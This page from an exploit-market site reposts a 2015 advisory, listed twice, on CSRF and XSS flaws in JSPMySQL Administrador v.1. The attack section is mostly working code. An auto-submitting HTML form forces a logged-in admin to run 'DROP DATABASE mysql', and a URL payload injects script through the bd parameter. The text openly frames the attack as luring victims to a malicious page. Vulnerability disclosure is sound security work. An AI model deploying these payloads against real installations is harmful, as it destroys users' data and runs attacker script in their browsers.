[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

JSPMySQL Administrador CSRF & XSS Vulnerabilities

Author
hyp3rlinx
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-24200
Category
web applications
Date add
06-09-2015
Platform
php
Vendor:
================================
JSPMySQL Administrador
https://sites.google.com/site/mfpledon/producao-de-software


Product:
================================
JSPMySQL Administrador v.1 is a remote administration of MySQL databases that are on a Web server using JSP technology

Vulnerability Details:
=====================

1) No CSRF token exists allowing remote attackers to run arbitrary SQL commands
on the MySQL database.

2) XSS entry point exists on the listaBD2.jsp web page opening up the application
for client side browser code execution.

In either case get victim to visit our malicious webpage or click on our
malicious linx then KABOOOOOOOOOOOOOOOOOOOOOOM!!!




Exploit code(s):
===============

1- CSRF to drop the default MySQL database on the remote server:
----------------------------------------------------------------

<!DOCTYPE>
<html>
<head>
<title>JSP-MYSQL-ADMIN-CSRF</title>

<body onLoad="doit()">

<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}

<!-- CSRF DROP MYSQL DATABASE -->

<form id="HELL" action="http://localhost:8081/sys/sys/listaBD2.jsp" method="post">
<input type="text" name="cmd" value="DROP DATABASE mysql"/>
<input type="text" name="btncmd" value="Enviar" />
<input type="text" name="bd" value="mysql" />
</form>



2- XSS client side code execution delivered to the victim:
----------------------------------------------------------

http://localhost:8081/sys/sys/listaBD2.jsp?bd=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E

 	
JSPMySQL Administrador CSRF & XSS Vulnerabilities
Published
	
Credit
	
Risk
2015.09.06
	
hyp3rlinx
	
Medium
CWE
	
CVE
	
Local
	
Remote
CWE-79
CWE-352
	
N/A
	
No
	
Yes

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-JSPMYSQLADMINISTRADOR-0904.txt



Vendor:
================================
JSPMySQL Administrador
https://sites.google.com/site/mfpledon/producao-de-software



Product:
================================
JSPMySQL Administrador v.1 is a remote administration of MySQL databases that are on a Web server using JSP technology


Vulnerability Type:
===================
CSRF & XSS



CVE Reference:
==============
N/A




Vulnerability Details:
=====================

1) No CSRF token exists allowing remote attackers to run arbitrary SQL commands
on the MySQL database.

2) XSS entry point exists on the listaBD2.jsp web page opening up the application
for client side browser code execution.

In either case get victim to visit our malicious webpage or click on our
malicious linx then KABOOOOOOOOOOOOOOOOOOOOOOM!!!




Exploit code(s):
===============

1- CSRF to drop the default MySQL database on the remote server:
----------------------------------------------------------------

<!DOCTYPE>
<html>
<head>
<title>JSP-MYSQL-ADMIN-CSRF</title>

<body onLoad="doit()">

<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}

<!-- CSRF DROP MYSQL DATABASE -->

<form id="HELL" action="http://localhost:8081/sys/sys/listaBD2.jsp" method="post">
<input type="text" name="cmd" value="DROP DATABASE mysql"/>
<input type="text" name="btncmd" value="Enviar" />
<input type="text" name="bd" value="mysql" />
</form>



2- XSS client side code execution delivered to the victim:
----------------------------------------------------------

http://localhost:8081/sys/sys/listaBD2.jsp?bd=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E


Description:
==========================================================

Request Method(s): [+] POST & GET

Vulnerable Product: [+] JSPMySQL Administrador v.1

Vulnerable Parameter(s): [+] cmd, bd

Affected Area(s): [+] listaBD2.jsp

#  0day.today [2024-11-15]  #